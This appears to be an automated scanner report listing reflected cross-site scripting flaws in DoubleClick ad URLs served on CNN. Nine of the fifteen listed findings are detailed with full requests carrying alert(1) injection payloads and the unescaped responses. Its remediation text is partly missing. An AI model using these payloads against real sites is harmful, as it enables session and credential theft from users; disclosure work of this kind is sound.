Report generated by Hoyt LLC at Sun Nov 07 17:37:46 CST 2010.


The DORK Report

Loading

1. Cross-site scripting (reflected)

1.1. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [AdID parameter]

1.2. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [AdID parameter]

1.3. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [FlightID parameter]

1.4. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Redirect parameter]

1.5. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Redirect parameter]

1.6. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Segments parameter]

1.7. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Segments parameter]

1.8. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [TargetID parameter]

1.9. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [TargetID parameter]

1.10. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]

1.11. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]

1.12. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Values parameter]

1.13. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [sz parameter]

1.14. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [sz parameter]

1.15. http://ad.doubleclick.net/click [openeep parameter]



1. Cross-site scripting (reflected)
There are 15 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [AdID parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the AdID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 61184"-alert(1)-"bdbc63da045 was submitted in the AdID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=45412861184"-alert(1)-"bdbc63da045&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:27:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8073

<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->
<!-- Code auto-generated on Thu Oct 07 23:26:16 EDT 2010 -->
<script src="http://s0.2mdn.net/879366/flashwrite_1_2
...[SNIP]...
/267/%2a/w%3B230758201%3B0-0%3B0%3B53180471%3B4307-300/250%3B38758534/38776291/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=45412861184"-alert(1)-"bdbc63da045&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,2
...[SNIP]...

1.2. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [AdID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the AdID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 328ed'-alert(1)-'87d518b5c3c was submitted in the AdID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=328ed'-alert(1)-'87d518b5c3c&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:27:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33852

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
3a4b/f/261/%2a/q%3B230758201%3B1-0%3B0%3B53180471%3B4307-300/250%3B38809802/38827559/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=328ed'-alert(1)-'87d518b5c3c&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,2
...[SNIP]...

1.3. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [FlightID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the FlightID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6ebbd"-alert(1)-"4946dee144b was submitted in the FlightID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=3330136ebbd"-alert(1)-"4946dee144b&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:26:35 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
%3Dv8/3a4b/f/267/%2a/v%3B230758201%3B2-0%3B0%3B53180471%3B4307-300/250%3B39167948/39185735/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=3330136ebbd"-alert(1)-"4946dee144b&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,2
...[SNIP]...

1.4. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Redirect parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62e3c'-alert(1)-'712bff8e05a was submitted in the Redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=62e3c'-alert(1)-'712bff8e05a HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 33877
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 20:31:43 GMT
Expires: Sun, 07 Nov 2010 20:31:43 GMT

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=62e3c'-alert(1)-'712bff8e05ahttp://www.lexus.com/quality/index.html?cid=PTI10NstBBEFORE&video=crash_testing_digitally">
...[SNIP]...

1.5. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Redirect parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Redirect request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 36b71"-alert(1)-"8f8fd19d698 was submitted in the Redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=36b71"-alert(1)-"8f8fd19d698 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 33877
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 07 Nov 2010 20:31:38 GMT
Expires: Sun, 07 Nov 2010 20:31:38 GMT

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=36b71"-alert(1)-"8f8fd19d698";
this.clickN = "";
this.type = type;
this.uniqueId = plcrInfo_1288735998848.uniqueId;
this.thirdPartyImpUrl = "";
this.
...[SNIP]...

1.6. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Segments parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Segments request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4a112'-alert(1)-'87eda0ea56a was submitted in the Segments parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=4a112'-alert(1)-'87eda0ea56a&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:29:44 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 32445

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
1-0%3B0%3B53180471%3B4307-300/250%3B38809802/38827559/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=4a112'-alert(1)-'87eda0ea56a&Values=1588&Redirect=http://www.lexus.com/quality/index.htm?cid=PTI10NBIMAGINE&video=recreating_the_drive">
...[SNIP]...

1.7. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [Segments parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the Segments request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9562"-alert(1)-"8cc3641c8ae was submitted in the Segments parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748d9562"-alert(1)-"8cc3641c8ae&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Set-Cookie: id=c2336402e000096||t=1289161780|et=730|cs=27wzkruk; path=/; domain=.doubleclick.net; expires=Tue, 06 Nov 2012 20:29:40 GMT
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Set-Cookie: test_cookie=CheckForPermission; path=/; domain=.doubleclick.net; expires=Sat, 06 Nov 2010 20:29:40 GMT
Date: Sun, 07 Nov 2010 20:29:40 GMT
Cache-Control: private, x-gzip-ok=""
Expires: Sun, 07 Nov 2010 20:29:40 GMT
Content-Length: 33904

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748d9562"-alert(1)-"8cc3641c8ae&Values=1588&Redirect=";
this.clickN = "";
this.type = type;
this.uniqueId = plcrInfo_1286596196561.uniqueId;
this.thirdPartyImpUrl = "";
...[SNIP]...

1.8. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [TargetID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the TargetID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3d4eb'-alert(1)-'8ffefaa4fa9 was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=926833d4eb'-alert(1)-'8ffefaa4fa9&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:28:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
0758201%3B2-0%3B0%3B53180471%3B4307-300/250%3B39167948/39185735/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=926833d4eb'-alert(1)-'8ffefaa4fa9&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,2554
...[SNIP]...

1.9. http://ad.doubleclick.net/adi/N3753.cnn/B4094158.41 [TargetID parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://ad.doubleclick.net
Path:   /adi/N3753.cnn/B4094158.41

Issue detail

The value of the TargetID request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9bbe"-alert(1)-"eda54dc53a0 was submitted in the TargetID parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /adi/N3753.cnn/B4094158.41;sz=300x250;pc=[TPAS_ID];click=http://ads.cnn.com/event.ng/Type=click&FlightID=333013&AdID=454128&TargetID=92683d9bbe"-alert(1)-"eda54dc53a0&Segments=934,2247,2743,2823,3285,9496,9779,9781,9784,9853,10375,13087,13088,13090,13303,16113,16337,17251,18517,18871,18887,18904,18982,20139,23793,25508,25512,25519,25529,25535,25538,25541,25544,25547,25550,25900,29699,29776,30220,31073,31265,31781,31782,32573,32594,33298,33587,33852,34253,36376,37152,37430,37580,38202,38203,38295,39390,39416,40253,40607,41599,41850,42274,42275,42364,42670,42796,42804,42837,42838,42860,43109,43297,43323,43384,43460,43514,43581,43625,43661,43748&Values=1588&Redirect=;ord=bufncft,bgnocyRtpqvk? HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://ads.cnn.com/html.ng/site=cnn&cnn_pagetype=main&cnn_position=300x250_rgt&cnn_rollup=technology&page.allowcompete=yes&params.styles=fs&tile=1570051619821&domId=779824
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: ad.doubleclick.net
Proxy-Connection: Keep-Alive
Cookie: test_cookie=CheckForPermission

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 07 Nov 2010 20:28:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 33877

<SCRIPT language="JavaScript">
if(typeof(dartCallbackObjects) == "undefined")
var dartCallbackObjects = new Array();
if(typeof(dartCreativeDisplayManagers) == "undefined")
var dartCreativeDisplayM
...[SNIP]...
